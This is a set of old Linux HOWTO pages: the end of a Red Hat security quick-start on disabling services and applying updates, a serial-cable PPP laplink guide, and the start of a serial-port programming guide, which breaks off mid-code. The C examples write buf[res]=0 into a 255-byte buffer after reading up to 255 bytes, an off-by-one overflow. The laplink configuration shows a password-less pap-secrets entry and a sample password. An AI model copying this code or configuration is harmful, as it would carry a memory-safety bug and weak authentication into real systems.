  • Mail server (MTA's like sendmail, qmail, etc) - Often a fully functional mail server like sendmail is installed by default. The only time that this is actually required is if you are hosting a domain, and receiving incoming mail directly. Or possibly, for exchanging mail on a LAN, in which case it does not need Internet exposure and can be safely firewalled. For your ISP's POP mail access, you don't need it even though this is a common configuration. One alternative here is to use fetchmail for POP mail retrieval with the -m option to specify a local delivery agent: fetchmail -m procmail for instance works with no sendmail daemon running at all. Sendmail, can be handy to have running, but the point is, it is not required in many situations, and can be disabled, or firewalled safely.

  • BIND (named) - This often is installed by default, but is only really needed if you are an authoritative name server for a domain. If you are not sure what this means, then you definitely don't need it. BIND is probably the number one crack target on the Internet. BIND is often used though in a "caching" only mode. This can be quite useful, but does not require full exposure to the Internet. In other words, it should be restricted or firewalled. See special handling of individual applications below.

3.5. Summary and Conclusions for Step 1

In this section we learned how to identify which services are running on our system, and were given some tips on how to determine which services may be necessary. Then we learned how to find where the services were being started, and how to stop them. If this has not made sense, now is a good time to re-read the above.

Hopefully you've already taken the above steps. Be sure to test your results with netstat again, just to verify the desired end has been achieved, and only the services that are really required are running.

It would also be wise to do this after the next reboot, anytime you upgrade a package (to make sure a new configuration does not sneak in), and after every system upgrade or new install.

Prev | Home | Next
Foreword |  | Step 2: Updating


Step 2: Updating

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

4. Step 2: Updating

OK, this section should be comparatively short, simple and straightforward compared to the above, but no less important.

The very first thing after a new install you should check the errata notices at http://redhat.com/apps/errata/, and apply all relevant updates. Only a year old you say? That's a long time actually, and not current enough to be safe. Only a few months or few weeks? Check anyway. A day or two? Better safe than sorry. It is quite possible that security updates have been released during the pre-release phase of the development and release cycle. If you can't take this step, disable any publicly accessible services until you can.

Linux distributions are not static entities. They are updated with new, patched packages as the need arises. The updates are just as important as the original installation. Even more so, since they are fixes. Sometimes these updates are bug fixes, but quite often they are security fixes because some hole has been discovered. Such "holes" are immediately known to the cracker community, and they are quick to exploit them on a large scale. Once the hole is known, it is quite simple to get in through it, and there will be many out there looking for it. And Linux developers are also equally quick to provide fixes. Sometimes the same day as the hole has become known!

Keeping all installed packages current with your release is one of the most important steps you can take in maintaining a secure system. It can not be emphasized enough that all installed packages should be kept updated -- not just the ones you use. If this is burdensome, consider uninstalling any unused packages. Actually this is a good idea anyway.

But where to get this information in a timely fashion? There are a number of web sites that offer the latest security news. There are also a number of mailing lists dedicated to this topic. In fact, Red Hat has the "watch" list, just for this purpose at https://listman.redhat.com/mailman/listinfo/redhat-watch-list. This is a very low volume list by the way. This is an excellent way to stay abreast of issues effecting your release, and is highly recommended. http://linuxsecurity.com is a good site for Linux only issues. They also have weekly newsletters available: http://www.linuxsecurity.com/general/newsletter.html.

Red Hat also has the up2date utility for automatically keeping your system(s) up to date ;-). See the man page for details.

This is not a one time process -- it is ongoing. It is important to stay current. So watch those security notices. And subscribe to that security mailing list today! If you have cable modem, DSL, or other full time connection, there is no excuse not to do this religiously. All distributions make this easy enough!

One last note: any time a new package is installed, there is also a chance that a new or revised configuration has been installed as well. Which means that if this package is a server of some kind, it may be enabled as a result of the update. This is bad manners, but it can happen, so be sure to run netstat or comparable to verify your system is where you want it after any updates or system changes. In fact, do it periodically even if there are no such changes.

4.1. Summary and Conclusions for Step 2

It is very simple: make sure your Linux installation is current. Check the Red Hat errata for what updated packages may be available. There is nothing wrong with running an older release, just so the packages in it are updated according to what Red Hat has made available since the initial release. At least as long as Red Hat is still supporting the release and updates are still being provided. For instance, Red Hat has stopped providing updates for 5.0 and 5.1, but still does for 5.2.

Prev | Home | Next
Step 1: Which services do we really need? |  | Step 3: Firewalls and Setting Access Policies


Serial Laplink HOWTO

Willem J. Atsma

Revision History
Revision v2.1 2001-07-20 Revised by: wja

How to create a serial connection between two computers? This document details how to setup a "laplink" connection between two computers. Having had a bit of trouble getting the information to get this to work myself, this document should make it easy for you.

Table of Contents
1. Introduction
2. On the server side
2.1. Configure pppd
2.2. A getty-like installation of pppd
2.3. Start the server when needed
2.4. Serving MS Windows clients
3. On the client side
3.1. Start the client
3.2. Connecting to an MS Windows server
3.3. Setting up an MS Windows (95) client
3.4. Oddly enough...
4. Connecting...
5. Internet through the serial port
6. Other useful documents
7. License
8. Credits
Next
Introduction


Introduction

Serial Laplink HOWTO
Prev Next

1. Introduction

This very brief document describes how to set up a serial "laplink" connection between two Linux machines or a Linux and a Windows machine. The serial link consists of a "null-modem" cable and a communication protocol: PPP. I use such a setup to send files to and from my laptop; it can also quite nicely be used to install new software from a cd-rom when a laptop doesn't have one. I had more trouble than I should have had when setting up my serial laplink. Hopefully this document will solve your problems in one go (the ones to do with the serial cable at any rate).

Both server and client side of the setup I will describe could be either a Linux machine or a different operating system, as long as it supports the PPP protocol on a null-modem. The MS Windows implementation, as it turns out, is slightly different from standard, requiring some special attention. This document has two main sections. The first describes how to setup the server side. This is the main station with a serial port dedicated to a PPP connection. Alternatively the connection can be started when needed from the command line. The second part describes the configuration of the client that connects to the server to retrieve or upload files.

This documentation was prepared for pppd version 2.4.0, on a version 2.4.2 kernel.

Please let me know if you are having any particular difficulties and suggestions for improvements on this document; my email address is listed at the bottom.

Prev | Home | Next
Serial Laplink HOWTO |  | On the server side


On the server side

Serial Laplink HOWTO
Prev Next

2. On the server side

2.1. Configure pppd

The communication will be through a serial port. On the server we will connect through the "/dev/ttyS1" (COM2 in DOS/Windows) device. On your computer this may be different and you should modify the examples below accordingly. I force authentication because I use the configuration to provide a way to access files on a file server for a group of people. After logon they can use the Samba file shares to copy files to and from a laptop. If you are not concerned with security you can comment out the relevant options.

PPP (Point-to-Point Protocol) communication provides TCP/IP across a serial link. In other words: when you want to do internet-based browsing through a modem, you are likely to be using it. In Linux PPP is implemented by the PPP daemon "pppd". Its configuration is done through files in the "/etc/ppp/" directory. We will be using the following files:

/etc/ppp/options contains all general options for PPP connections

/etc/ppp/options.ttyS1

contains PPP options specific to connections through "/dev/ttyS1"

/etc/ppp/pap-secrets

contains authentication information

/etc/inittab

starts initial system services

The "/etc/ppp/options" file should look more or less like this:

#/etc/ppp/options
lock
#auth forces authorization from peer
#login makes authentication use the system password file
#NOTE: my pap-secrets allows anyone access, so if this is not specified
#      anyone could connect! If this is a machine on which you dial out
#      as well, then comment auth and login out and move them to
#      /etc/options.ttySn
auth
login

The lines starting with a "#" are comments. The "lock" parameter indicates that a lock file will be created to ensure exclusive access to the serial device, the "auth" parameter indicates that the client will need to authenticate itself, and "login" tells pppd to use the system user names and passwords for authentication.

Note that pppd will still check the "/etc/ppp/pap-secrets" file for user name and password information. A special, single line entry makes that pppd will only use the system's user information. The "/etc/ppp/pap-secrets" file looks as follows:

#/etc/ppp/pap-secrets
# Secrets for authentication using PAP
# client                 server                  secret         IP addresses
*                        *                       ""             ppp_laplink_client

This allows any machine with the IP address "ppp_laplink_client" to connect to the server, without using a password (you can see why it is handy to have the ppp_laplink entries in your /etc/hosts file). The "login" parameter in the "/etc/ppp/options" file, however, makes that the user name and password supplied by the client for authorization have to match the "/etc/ppp/pap-secrets" file as well as the system user name and password, so the connection will only succeed after a valid user name and password are provided.

Options specific to the serial line you are connecting with are placed in "/etc/ppp/options.ttySn", where n is the number of the serial device. My server uses "/dev/ttyS1", so the options go into... "/etc/ppp/options.ttyS1".

#/etc/ppp/options.ttyS1
asyncmap 0
crtscts
#local indicates that modem lines are not used
local
#silent causes pppd to wait until a connection is made from the other side
silent
#these are entries that exist in the /etc/hosts file
#the link does not work if this is at the end of this file - order matters!
ppp_laplink_server:ppp_laplink_client
#auth forces authorization from peer
#login makes authentication use the system password file
#NOTE: my pap-secrets allows anyone access, so if this is not specified
#         anyone could connect! If this is a server that will never use ppp
#         for dialing out, you should move auth and login to /etc/ppp/options
#auth
#login
#use PAP, not CHAP for authentication
require-pap
115200

All these options are well described in the pppd man page; a few of the key ones are explained with comments in the file. The "crtscts" parameter tells pppd to use hardware flow control. This is recommended because it is the fastest. Alternatively you could specify "xonxoff" to use software-based flow control - you would specify this if your null modem cable doesn't connect the RTS/CTS lines (unlikely if you bought your cable in the store). "115200" specifies the data transmission rate - if you have trouble connecting you might want to try with a lower speed. You can find valid speed settings in the termios manual page, although your hardware will limit the baud rate. Choosing an invalid speed setting will elicit an error message from the pppd daemon and apparently it then reverts to some default value.

Note that "auth" and "login" options are commented out here, because they were specified in the general options file. If you also use your computer to dial into an ISP, you will want to specify them here rather than in "/etc/ppp/options", or you will be asking your ISP to authorize itself when you dial in and that probably won't succeed. The reason why they are not specified in this file by default is because if you have other incoming PPP connections now or in the future, you want to make sure they are always authenticated. Remember that the "pap-secrets" as presented here gives zero protection.

Finally, the "ppp_laplink_server:ppp_laplink_client" entry specifies the local and remote IP address after the link is up. You can use actual IP numbers here (e.g. 192.168.0.1:192.168.1.1), or entries from the "/etc/hosts" file, like I have done. The nice thing of doing the latter is that you can use the names to refer to these links later. I also recommend you use IP numbers like the ones I used (192.168.0.1:192.168.1.1). These addresses are set aside for local networks and don't exist on the internet, so you are avoiding possible conflicts. After the link is up, the client can refer to the server with the IP address of ppp_laplink_server (192.168.0.1) and the server refers to the client with ppp_laplink_client (192.168.1.1).

You could use different entries in "/etc/ppp/pap-secrets" to only allow select users access. I am using the PAP protocol for authentication; you could use CHAP if you'd like - the setup is much the same, using the "chap-secrets" file. For these and other options you can consult the man pages and the documentation mentioned at the bottom.

2.2. A getty-like installation of pppd

You can have the PPP daemon (pppd) start when you boot the system and have it monitor the serial line of your choice. An elegant way of achieving this is to edit the "/etc/inittab" file. This file contains information for initializing the system. Add the following to this file:

# Start pppd for the serial laplink.
pd:2345:respawn:/usr/sbin/pppd /dev/ttyS1 nodetach

This reads as follows: for runlevels 2, 3, 4 and 5 start "/usr/sbin/pppd /dev/ttyS1 nodetach" and if it dies (at the end of a connection) respawn (start a new one). The "nodetach" option makes that pppd stays connected to the terminal that started it, rather than forking and exiting. This option is necessary because the "init" process would respawn a new one immediately otherwise. Other entries in the inittab file specify getty processes to run on serial terminals (tty's); their initialization looks a lot like this one.

To activate this new configuration type:

[root@griis /root]# /sbin/init q

2.3. Start the server when needed

If it is only occasionally that you want to connect to your server, you might prefer to start the connection manually. All the settings remain the same; you can start the server by simply typing:

/usr/sbin/pppd /dev/ttyS1 nodetach

at the command line. The "nodetach" option is not really necessary, but it makes it easy to kill the connection by pressing "ctrl-c".

2.4. Serving MS Windows clients

Unfortunately the MS Windows implementation is not quite standard. Before initiating the PPP connection it requires the exchange of the text strings "CLIENT" (from the client) and "CLIENTSERVER" (from the server). To accommodate a Windows client the following line has to be added to the "/etc/ppp/options.ttyS1" file:

connect 'chat -v -f /etc/ppp/scripts/winclient.chat'

Then create the scripts directory and the chat file "/etc/ppp/scripts/winclient.chat":

TIMEOUT 3600
CLIENT CLIENTSERVER\c

The connect option allows you to specify a program to deal with the string exchange before the connection. Usually the "chat" program is used for this; check the manual for more details. The given script deals with the Windows connection issue. You don't need it when connecting a Linux box.

Prev | Home | Next
Introduction |  | On the client side


On the client side

Serial Laplink HOWTO
Prev Next

3. On the client side

After having configured the server, the client is easy. The "/etc/ppp/options" file has a single entry:

#/etc/ppp/options
lock

The serial port on my client is "/dev/ttyS0" (COM1), so I also have to create a "/etc/ppp/options.ttyS0" file:

#/etc/ppp/options.ttyS0
115200
crtscts
local
user zaphod
noauth

Only a few new options in this file. Note that the speed on server and client has to be the same (here it is 115200). With "user zaphod" the client user name is specified. This user name has to correspond to an entry in the "/etc/ppp/pap-secrets" file of the client and has to be a valid user name on the server. The "noauth" option specifies that the peer (server) does not have to authenticate itself to the client.

The last bit: setting the client name (user name) and its secret (password) in the "/etc/ppp/pap-secrets" file:

#/etc/ppp/pap-secrets
# Secrets for authentication using PAP
# client                 server                  secret                IP addresses
zaphod                   *                       gargleBlaster

So user "zaphod" uses a password "gargleBlaster", which should get him into the system. Note that these files contain sensitive information, make sure you set the permissions on them correctly.

3.1. Start the client

On the command line, type:

/usr/sbin/pppd /dev/ttyS0 nodetach

3.2. Connecting to an MS Windows server

What if you want to make a connection to a Windows server? Again we'll need the "connect" option and a chat script. Add the following line to your "/etc/ppp/options.ttyS0" file:

connect chat -v -f /etc/ppp/scripts/winserver.chat

Also create the chat script "/etc/ppp/script/winserver.chat":

TIMEOUT 10
'' CLIENT\c

This makes the client send the "CLIENT" string before trying to start the PPP connection.

3.3. Setting up an MS Windows (95) client

To connect to the server using windows, you use the Direct Cable Connection program, and set it up as "guest". In order for the windows client to connect at full speed (or at all), you will have to change the communication speed of direct cable connection. To do this, go to Control Panel->System->Device Manager->Modems and select the serial cable. Proceed to the 'modem' option and select a maximum speed of 115200 or whatever your linux computer is set to. Now, it is important that you reboot at this stage, or it WILL NOT WORK (at least with Microsoft windows 95 version A), I am not sure about others.

3.4. Oddly enough...

Oddly enough I created a Linux server that has to connect to both Linux and Windows computers, so I found myself with the odd situation of having to setup both Linux systems such that they would connect to Windows servers and clients!

Prev | Home | Next
On the server side |  | Connecting...


Connecting...

Serial Laplink HOWTO
Prev Next

4. Connecting...

The moment of truth: connect the computers with the null modem cable, first start the server side (if you are using the "/etc/inittab" approach it should be up already), then start the client side. You should see something like this on the server:

[root@griis /root]# pppd /dev/ttyS1 nodetach
Using interface ppp0
Connect: ppp0 <--> /dev/ttyS1
user zaphod logged in
Deflate (15) compression enabled
local  IP address 192.168.0.1
remote IP address 192.168.1.1

Note that if you started pppd from the "/etc/inittab" file these messages will appear in "/var/log/messages". On the client side you should see something like this:

[root@wylg /root]# pppd /dev/ttyS0 nodetach
Using interface ppp0
Connect: ppp0 <--> /dev/ttyS0
Remote message: Success
Deflate (15) compression enabled
local  IP address 192.168.1.1
remote IP address 192.168.0.1

On either side you can ping the other computer to see if the connection is active:

[zaphod@wylg zaphod]$ ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) from 192.168.1.1 : 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=31.7 ms
64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=20.3 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=19.2 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=20.3 ms

--- 192.168.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 19.2/22.8/31.7 ms

You can now access the server through any TCP/IP services it might have available, such as FTP, HTTP, TELNET and SAMBA.

Prev | Home | Next
On the client side |  | Internet through the serial port


Internet through the serial port

Serial Laplink HOWTO
Prev Next

5. Internet through the serial port

Suppose you have a laptop and you want to access the internet occasionally. Also suppose you have a machine that has an ethernet connection and a serial port. You can set the laptop up as a client, the other machine as a server, and use IP masquerading to connect to the internet through the null modem cable. Check the IP-Masquerading-Howto for help on how to do this.

Prev | Home | Next
Connecting... |  | Other useful documents


Other useful documents

Serial Laplink HOWTO
Prev Next

6. Other useful documents

  • The pppd and chat manual pages

  • PPP-HOWTO

  • How to hook up PPP (http://axion.physics.ubc.ca/ppp-linux.html)

  • Modem-HOWTO

  • Serial-HOWTO

  • IP-Masquerade-HOWTO

Prev | Home | Next
Internet through the serial port |  | License


License

Serial Laplink HOWTO
Prev Next

7. License

Copyright (c) 2000, 2001 by Willem J. Atsma

This document is covered by the Gnu Free Document License (http://www.gnu.org/copyleft/fdl.html). Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be fowarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet.

  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

Prev | Home | Next
Other useful documents |  | Credits


Credits

Serial Laplink HOWTO
Prev

8. Credits

I have received a nice amount of helpful feedback, specifically from J.M. and B.S., and some of it was incorporated in this new version, thanks! author: W.J. Atsma email: watsma@mech.ubc.ca revision: 29jul2001

Prev | Home
License |


Serial Programming HOWTO

Gary Frerking

gary@frerking.org

Peter Baumann

Revision History
Revision 1.01 | 2001-08-26 | Revised by: glf
New maintainer, converted to DocBook
Revision 1.0 | 1998-01-22 | Revised by: phb
Initial document release

This document describes how to program communications with devices over a serial port on a Linux box.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
2. Getting started
2.1. Debugging
2.2. Port Settings
2.3. Input Concepts for Serial Devices
2.3.1. Canonical Input Processing
2.3.2. Non-Canonical Input Processing
2.3.3. Asynchronous Input
2.3.4. Waiting for Input from Multiple Sources
3. Program Examples
3.1. Canonical Input Processing
3.2. Non-Canonical Input Processing
3.3. Asynchronous Input
3.4. Waiting for Input from Multiple Sources
4. Other Sources of Information
Next
Introduction


Introduction

Serial Programming HOWTO
Prev Next

1. Introduction

This is the Linux Serial Programming HOWTO. All about how to program communications with other devices / computers over a serial line under Linux. Different techniques are explained: Canonical I/O (only complete lines are transmitted/received), asyncronous I/O, and waiting for input from multiple sources.

This is the first update to the initial release of the Linux Serial Programming HOWTO. The primary purpose of this update is to change the author information and convert the document to DocBook format. In terms of technical content, very little if anything has changed at this time. Sweeping changes to the technical content aren't going to happen overnight, but I'll work on it as much as time allows.

If you've been waiting in the wings for someone to take over this HOWTO, you've gotten your wish. Please send me any and all feedback you have, it'd be very much appreciated.

All examples were tested using a i386 Linux Kernel 2.0.29.

1.1. Copyright Information

This document is copyrighted (c) 1997 Peter Baumann, (c) 2001 Gary Frerking and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

As previously mentioned, not much is new in terms of technical content yet.

1.4. Credits

The original author thanked Mr. Strudthoff, Michael Carter, Peter Waltenberg, Antonino Ianella, Greg Hankins, Dave Pfaltzgraff, Sean Lincolne, Michael Wiedmann, and Adrey Bonar.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <gary@frerking.org>.

Prev | Home | Next
Serial Programming HOWTO |  | Getting started


Getting started

Serial Programming HOWTO
Prev Next

2. Getting started

2.1. Debugging

The best way to debug your code is to set up another Linux box, and connect the two computers via a null-modem cable. Use miniterm (available from the LDP programmers guide (ftp://sunsite.unc.edu/pub/Linux/docs/LDP/programmers-guide/lpg-0.4.tar.gz in the examples directory) to transmit characters to your Linux box. Miniterm can be compiled very easily and will transmit all keyboard input raw over the serial port. Only the define statement #define MODEMDEVICE "/dev/ttyS0" has to be checked. Set it to ttyS0 for COM1, ttyS1 for COM2, etc.. It is essential for testing, that all characters are transmitted raw (without output processing) over the line. To test your connection, start miniterm on both computers and just type away. The characters input on one computer should appear on the other computer and vice versa. The input will not be echoed to the attached screen.

To make a null-modem cable you have to cross the TxD (transmit) and RxD (receive) lines. For a description of a cable see sect. 7 of the Serial-HOWTO.

It is also possible to perform this testing with only one computer, if you have two unused serial ports. You can then run two miniterms off two virtual consoles. If you free a serial port by disconnecting the mouse, remember to redirect /dev/mouse if it exists. If you use a multiport serial card, be sure to configure it correctly. I had mine configured wrong and everything worked fine as long as I was testing only on my computer. When I connected to another computer, the port started loosing characters. Executing two programs on one computer just isn't fully asynchronous.

2.2. Port Settings

The devices /dev/ttyS* are intended to hook up terminals to your Linux box, and are configured for this use after startup. This has to be kept in mind when programming communication with a raw device. E.g. the ports are configured to echo characters sent from the device back to it, which normally has to be changed for data transmission.

All parameters can be easily configured from within a program. The configuration is stored in a structure struct termios, which is defined in <asm/termbits.h>:
        #define NCCS 19
        struct termios {
                tcflag_t c_iflag;		/* input mode flags */
            tcflag_t c_oflag;		/* output mode flags */
            tcflag_t c_cflag;		/* control mode flags */
            tcflag_t c_lflag;		/* local mode flags */
            cc_t c_line;			/* line discipline */
            cc_t c_cc[NCCS];		/* control characters */
        };

This file also includes all flag definitions. The input mode flags in c_iflag handle all input processing, which means that the characters sent from the device can be processed before they are read with read. Similarly c_oflag handles the output processing. c_cflag contains the settings for the port, as the baudrate, bits per character, stop bits, etc.. The local mode flags stored in c_lflag determine if characters are echoed, signals are sent to your program, etc.. Finally the array c_cc defines the control characters for end of file, stop, etc.. Default values for the control characters are defined in <asm/termios.h>. The flags are described in the manual page termios(3). The structure termios contains the c_line (line discipline) element, which is not used in POSIX compliant systems.

2.3. Input Concepts for Serial Devices

Here three different input concepts will be presented. The appropriate concept has to be chosen for the intended application. Whenever possible, do not loop reading single characters to get a complete string. When I did this, I lost characters, whereas a read for the whole string did not show any errors.

2.3.1. Canonical Input Processing

This is the normal processing mode for terminals, but can also be useful for communicating with other dl input is processed in units of lines, which means that a read will only return a full line of input. A line is by default terminated by a NL (ASCII LF), an end of file, or an end of line character. A CR (the DOS/Windows default end-of-line) will not terminate a line with the default settings.

Canonical input processing can also handle the erase, delete word, and reprint characters, translate CR to NL, etc..

2.3.2. Non-Canonical Input Processing

Non-Canonical Input Processing will handle a fixed amount of characters per read, and allows for a character timer. This mode should be used if your application will always read a fixed number of characters, or if the connected device sends bursts of characters.

2.3.3. Asynchronous Input

The two modes described above can be used in synchronous and asynchronous mode. Synchronous is the default, where a read statement will block, until the read is satisfied. In asynchronous mode the read statement will return immediatly and send a signal to the calling program upon completion. This signal can be received by a signal handler.

2.3.4. Waiting for Input from Multiple Sources

This is not a different input mode, but might be useful, if you are handling multiple devices. In my application I was handling input over a TCP/IP socket and input over a serial connection from another computer quasi-simultaneously. The program example given below will wait for input from two different input sources. If input from one source becomes available, it will be processed, and the program will then wait for new input.

The approach presented below seems rather complex, but it is important to keep in mind that Linux is a multi-processing operating system. The select system call will not load the CPU while waiting for input, whereas looping until input becomes available would slow down other processes executing at the same time.

Prev | Home | Next
Introduction |  | Program Examples


Program Examples

Serial Programming HOWTO
Prev Next

3. Program Examples

All examples have been derived from miniterm.c. The type ahead buffer is limited to 255 characters, just like the maximum string length for canonical input processing (<linux/limits.h> or <posix1_lim.h>).

See the comments in the code for explanation of the use of the different input modes. I hope that the code is understandable. The example for canonical input is commented best, the other examples are commented only where they differ from the example for canonical input to emphasize the differences.

The descriptions are not complete, but you are encouraged to experiment with the examples to derive the best solution for your application.

Don't forget to give the appropriate serial ports the right permissions (e. g.: chmod a+rw /dev/ttyS1)!

3.1. Canonical Input Processing

        #include <sys/types.h>
        #include <sys/stat.h>
        #include <fcntl.h>
        #include <termios.h>
        #include <stdio.h>

        /* baudrate settings are defined in <asm/termbits.h>, which is
        included by <termios.h> */
        #define BAUDRATE B38400
        /* change this definition for the correct port */
        #define MODEMDEVICE "/dev/ttyS1"
        #define _POSIX_SOURCE 1 /* POSIX compliant source */

        #define FALSE 0
        #define TRUE 1

        volatile int STOP=FALSE;

        main()
        {
          int fd,c, res;
          struct termios oldtio,newtio;
          char buf[255];
        /*
          Open modem device for reading and writing and not as controlling tty
          because we don't want to get killed if linenoise sends CTRL-C.
        */
         fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY );
         if (fd <0) {perror(MODEMDEVICE); exit(-1); }

         tcgetattr(fd,&oldtio); /* save current serial port settings */
         bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings */

        /*
          BAUDRATE: Set bps rate. You could also use cfsetispeed and cfsetospeed.
          CRTSCTS : output hardware flow control (only used if the cable has
                    all necessary lines. See sect. 7 of Serial-HOWTO)
          CS8     : 8n1 (8bit,no parity,1 stopbit)
          CLOCAL  : local connection, no modem contol
          CREAD   : enable receiving characters
        */
         newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD;

        /*
          IGNPAR  : ignore bytes with parity errors
          ICRNL   : map CR to NL (otherwise a CR input on the other computer
                    will not terminate input)
          otherwise make device raw (no other input processing)
        */
         newtio.c_iflag = IGNPAR | ICRNL;

        /*
         Raw output.
        */
         newtio.c_oflag = 0;

        /*
          ICANON  : enable canonical input
          disable all echo functionality, and don't send signals to calling program
        */
         newtio.c_lflag = ICANON;

        /*
          initialize all control characters
          default values can be found in /usr/include/termios.h, and are given
          in the comments, but we don't need them here
        */
         newtio.c_cc[VINTR]    = 0;     /* Ctrl-c */
         newtio.c_cc[VQUIT]    = 0;     /* Ctrl-\ */
         newtio.c_cc[VERASE]   = 0;     /* del */
         newtio.c_cc[VKILL]    = 0;     /* @ */
         newtio.c_cc[VEOF]     = 4;     /* Ctrl-d */
         newtio.c_cc[VTIME]    = 0;     /* inter-character timer unused */
         newtio.c_cc[VMIN]     = 1;     /* blocking read until 1 character arrives */
         newtio.c_cc[VSWTC]    = 0;     /* '\0' */
         newtio.c_cc[VSTART]   = 0;     /* Ctrl-q */
         newtio.c_cc[VSTOP]    = 0;     /* Ctrl-s */
         newtio.c_cc[VSUSP]    = 0;     /* Ctrl-z */
         newtio.c_cc[VEOL]     = 0;     /* '\0' */
         newtio.c_cc[VREPRINT] = 0;     /* Ctrl-r */
         newtio.c_cc[VDISCARD] = 0;     /* Ctrl-u */
         newtio.c_cc[VWERASE]  = 0;     /* Ctrl-w */
         newtio.c_cc[VLNEXT]   = 0;     /* Ctrl-v */
         newtio.c_cc[VEOL2]    = 0;     /* '\0' */

        /*
          now clean the modem line and activate the settings for the port
        */
         tcflush(fd, TCIFLUSH);
         tcsetattr(fd,TCSANOW,&newtio);

        /*
          terminal settings done, now handle input
          In this example, inputting a 'z' at the beginning of a line will
          exit the program.
        */
         while (STOP==FALSE) {     /* loop until we have a terminating condition */
         /* read blocks program execution until a line terminating character is
            input, even if more than 255 chars are input. If the number
            of characters read is smaller than the number of chars available,
            subsequent reads will return the remaining chars. res will be set
            to the actual number of characters actually read */
            res = read(fd,buf,255);
            buf[res]=0;             /* set end of string, so we can printf */
            printf(":%s:%d\n", buf, res);
            if (buf[0]=='z') STOP=TRUE;
         }
         /* restore the old port settings */
         tcsetattr(fd,TCSANOW,&oldtio);
        }

3.2. Non-Canonical Input Processing

In non-canonical input processing mode, input is not assembled into lines and input processing (erase, kill, delete, etc.) does not occur. Two parameters control the behavior of this mode: c_cc[VTIME] sets the character timer, and c_cc[VMIN] sets the minimum number of characters to receive before satisfying the read.

If MIN > 0 and TIME = 0, MIN sets the number of characters to receive before the read is satisfied. As TIME is zero, the timer is not used.

If MIN = 0 and TIME > 0, TIME serves as a timeout value. The read will be satisfied if a single character is read, or TIME is exceeded (t = TIME *0.1 s). If TIME is exceeded, no character will be returned.

If MIN > 0 and TIME > 0, TIME serves as an inter-character timer. The read will be satisfied if MIN characters are received, or the time between two characters exceeds TIME. The timer is restarted every time a character is received and only becomes active after the first character has been received.

If MIN = 0 and TIME = 0, read will be satisfied immediately. The number of characters currently available, or the number of characters requested will be returned. According to Antonino (see contributions), you could issue a fcntl(fd, F_SETFL, FNDELAY); before reading to get the same result.

By modifying newtio.c_cc[VTIME] and newtio.c_cc[VMIN] all modes described above can be tested.

      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <termios.h>
      #include <stdio.h>

      #define BAUDRATE B38400
      #define MODEMDEVICE "/dev/ttyS1"
      #define _POSIX_SOURCE 1 /* POSIX compliant source */
      #define FALSE 0
      #define TRUE 1

      volatile int STOP=FALSE;

      main()
      {
        int fd,c, res;
        struct termios oldtio,newtio;
        char buf[255];

        fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY );
        if (fd <0) {perror(MODEMDEVICE); exit(-1); }

        tcgetattr(fd,&oldtio); /* save current port settings */

        bzero(&newtio, sizeof(newtio));
        newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD;
        newtio.c_iflag = IGNPAR;
        newtio.c_oflag = 0;

        /* set input mode (non-canonical, no echo,...) */
        newtio.c_lflag = 0;

        newtio.c_cc[VTIME]    = 0;   /* inter-character timer unused */
        newtio.c_cc[VMIN]     = 5;   /* blocking read until 5 chars received */

        tcflush(fd, TCIFLUSH);
        tcsetattr(fd,TCSANOW,&newtio);

        while (STOP==FALSE) {       /* loop for input */
          res = read(fd,buf,255);   /* returns after 5 chars have been input */
          buf[res]=0;               /* so we can printf... */
          printf(":%s:%d\n", buf, res);
          if (buf[0]=='z') STOP=TRUE;
        }
        tcsetattr(fd,TCSANOW,&oldtio);
      }

3.3. Asynchronous Input

      #include <termios.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sys/signal.h>
      #include <sys/types.h>

      #define BAUDRATE B38400
      #define MODEMDEVICE "/dev/ttyS1"
      #define _POSIX_SOURCE 1 /* POSIX compliant source */
      #define FALSE 0
      #define TRUE 1

      volatile int STOP=FALSE;

      void signal_handler_IO (int status);   /* definition of signal handler */
      int wait_flag=TRUE;                    /* TRUE while no signal received */

      main()
